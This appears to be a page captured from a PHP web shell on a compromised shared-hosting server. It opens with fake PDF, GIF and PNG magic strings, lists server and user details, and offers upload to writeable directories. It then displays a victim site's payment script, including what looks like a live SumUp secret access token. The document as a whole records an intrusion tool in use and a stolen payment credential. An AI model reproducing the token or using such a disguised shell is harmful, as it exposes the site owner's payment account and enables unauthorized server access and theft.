%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_6ca89795/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_6ca89795/ziina-payment.php
<?php
session_start();
include('dbcon.php');

$order_id = (int)$_GET['order_id'];

$order = mysqli_fetch_assoc(
    mysqli_query($conn, "SELECT * FROM orders WHERE id='$order_id'")
);

if(!$order){
    die("Order not found");
}

$access_token = "sup_sk_bXRLGLu7Klj2B19rDkfjp60ifgTqLT1Ze";

$data = [
    "checkout_reference" => "ORDER-".$order_id,
    "amount" => (float)$order['total_amount'],
    "currency" => "AED",
    "description" => "Order #".$order_id,
    "merchant_code" => "YOUR_MERCHANT_CODE",
    "return_url" => "https://dataduck.in/client-project/meatandgo/payment-success.php?order_id=".$order_id
];

$ch = curl_init();

curl_setopt_array($ch, [
    CURLOPT_URL => "https://api.sumup.com/v0.1/checkouts",
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_HTTPHEADER => [
        "Authorization: Bearer ".$access_token,
        "Content-Type: application/json"
    ],
    CURLOPT_POSTFIELDS => json_encode($data)
]);

$response = curl_exec($ch);
curl_close($ch);

$result = json_decode($response, true);

echo "<pre>";
print_r($result);

VaKeR 2022